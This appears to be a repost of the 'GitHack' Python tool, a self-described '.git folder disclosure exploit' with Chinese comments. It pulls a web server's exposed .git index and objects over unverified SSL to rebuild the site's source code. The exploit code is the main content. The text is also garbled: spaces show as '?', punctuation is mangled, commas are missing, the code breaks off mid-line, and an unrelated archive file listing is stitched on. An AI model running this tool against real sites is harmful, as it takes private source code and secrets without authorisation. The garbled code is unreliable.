#!/usr/bin/env?python
#?-*-?encoding:?utf-8?-*-

import?sys
import?urllib.request
import?os
from?urllib.parse?import?urlparse
import?zlib
import?threading
from?queue?import?Queue
import?re
import?time
from?lib.parser?import?parse
import?ssl

context?=?ssl._create_unverified_context（）
if?len（sys.argv）?==?1:
????msg?=?“““
A?‘.git‘?folder?disclosure?exploit.?By?LiJieJie

Python?3?can?also?be?used?by?Zhang?Heng

Usage:?GitHack.py?http://www.target.com/.git/

bug-report:?my[at]lijiejie.com?（http://www.lijiejie.com）
“““
????print（msg）;
????sys.exit（0）

#?參數?sys.argv?帶有兩個參數：一個是本py文件的位置，另一個是輸入的git地址
class?Scanner（object）:
????def?__init__（self）:
????????self.base_url?=?sys.argv[-1]????#?獲取輸入的地址
????????self.domain?=?urlparse（sys.argv[-1]）.netloc.replace（‘:‘?‘_‘）???#?將Ip：端口?中的冒號替換為_
????????if?not?os.path.exists（self.domain）:?????#?判斷括號中文件目錄是否存在，如果不存在就立即創建
????????????os.mkdir（self.domain）
????????print?（‘[+]?Download?and?parse?index?file?...‘）
????????data?=?self._request_data（sys.argv[-1]?+?‘/index‘）??#?下載傳入的地址中的文件
????????with?open（‘index‘?‘wb‘）?as?f:??#?向index文件中寫入數據
????????????f.write（data）
????????self.queue?=?Queue（）????#?創建一個隊列
????????for?entry?in?parse（‘index‘）:????#?調用另外一個.py文件的解析方法
????????????#?print（entry）
????????????if?“sha1“?in?entry.keys（）:
????????????????self.queue.put（（entry[“sha1“].strip（）?entry[“name“].strip（）））
????????????????try:
????????????????????print?（entry[‘name‘]）
????????????????except?Exception?as?e:
????????????????????pass
????????self.lock?=?threading.Lock（）
????????self.thread_count?=?20
????????self.STOP_ME?=?False

????@staticmethod
????def?_request_data（url）:
????????request?=?urllib.request.Request（url?None?{‘User-Agent‘:?‘Mozilla/5.0?（iPhone;?CPU?iPhone?OS?6_0?like?Mac?OS?X）‘}）????#?提交一個request請求
????????return?urllib.request.urlopen（request?context=context）.read（）??#獲取并讀取request請求返回的數據

????def?_print（self?msg）:
????????self.lock.acquire（）
????????try:
????????????print?（msg）
????????except?Exception?as?e:
????????????pass
????????self.lock.release（）

????def?get_back_file（self）:
????????while?not?self.STOP_ME:
????????????try:
????????????????sha1?file_name?=?self.queue.get（timeout=0.5）
????????????except?Exception?as?e:
????????????????break
????????????for?i?in?range（3）:
????????????????try:
????????????????????folder?=?‘/objects/%s/‘?%?sha1[:2]
????????????????????data?=?self._request_data（self.base_url?+?folder?+?sha1[2:]）
????????????????????try:
????????????????????????data?=?zlib.decompress（data）
????????????????????except:
????????????????????????self._print（‘[Error]?Fail?to?decompress?%s‘?%?file_name）

????????????????????#data?=?re.sub（r‘blob?\d+\00‘?‘‘?data）
????????????????????target_dir?=?os.path.join（self.domain?os.path.dirname（file_name））
????????????????????if?target_dir?and?not?os.path.exists（target_dir）:
????????????????????????os.makedirs（target_dir）
????????????????????with?open（os.path.join（sel

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2020-01-18?09:10??GitHack-python3\
?????目錄???????????0??2020-01-18?09:09??GitHack-python3\.git\
?????文件??????????23??2020-01-17?08:40??GitHack-python3\.git\HEAD
?????文件?????????302??2020-01-17?08:40??GitHack-python3\.git\config
?????文件??????????73??2020-01-17?08:40??GitHack-python3\.git\description
?????目錄???????????0??2020-01-18?09:09??GitHack-python3\.git\hooks\
?????文件?????????478??2020-01-17?08:40??GitHack-python3\.git\hooks\applypatch-msg.sample
?????文件?????????896??2020-01-17?08:40??GitHack-python3\.git\hooks\commit-msg.sample
?????文件????????3327??2020-01-17?08:40??GitHack-python3\.git\hooks\fsmonitor-watchman.sample
?????文件?????????189??2020-01-17?08:40??GitHack-python3\.git\hooks\post-update.sample
?????文件?????????424??2020-01-17?08:40??GitHack-python3\.git\hooks\pre-applypatch.sample
?????文件????????1638??2020-01-17?08:40??GitHack-python3\.git\hooks\pre-commit.sample
?????文件?????????416??2020-01-17?08:40??GitHack-python3\.git\hooks\pre-merge-commit.sample
?????文件????????1348??2020-01-17?08:40??GitHack-python3\.git\hooks\pre-push.sample
?????文件????????4898??2020-01-17?08:40??GitHack-python3\.git\hooks\pre-rebase.sample
?????文件?????????544??2020-01-17?08:40??GitHack-python3\.git\hooks\pre-receive.sample
?????文件????????1492??2020-01-17?08:40??GitHack-python3\.git\hooks\prepare-commit-msg.sample
?????文件????????3610??2020-01-17?08:40??GitHack-python3\.git\hooks\update.sample
?????文件?????????565??2020-01-17?08:40??GitHack-python3\.git\index
?????目錄???????????0??2020-01-18?09:09??GitHack-python3\.git\info\
?????文件?????????240??2020-01-17?08:40??GitHack-python3\.git\info\exclude
?????目錄???????????0??2020-01-18?09:09??GitHack-python3\.git\logs\
?????文件?????????187??2020-01-17?08:40??GitHack-python3\.git\logs\HEAD
?????目錄???????????0??2020-01-18?09:09??GitHack-python3\.git\logs\refs\
?????目錄???????????0??2020-01-18?09:09??GitHack-python3\.git\logs\refs\heads\
?????文件?????????187??2020-01-17?08:40??GitHack-python3\.git\logs\refs\heads\master
?????目錄???????????0??2020-01-18?09:09??GitHack-python3\.git\logs\refs\remotes\
?????目錄???????????0??2020-01-18?09:09??GitHack-python3\.git\logs\refs\remotes\origin\
?????文件?????????187??2020-01-17?08:40??GitHack-python3\.git\logs\refs\remotes\origin\HEAD
?????目錄???????????0??2020-01-18?09:09??GitHack-python3\.git\objects\
?????目錄???????????0??2020-01-18?09:09??GitHack-python3\.git\objects\08\
............此處省略86個文件信息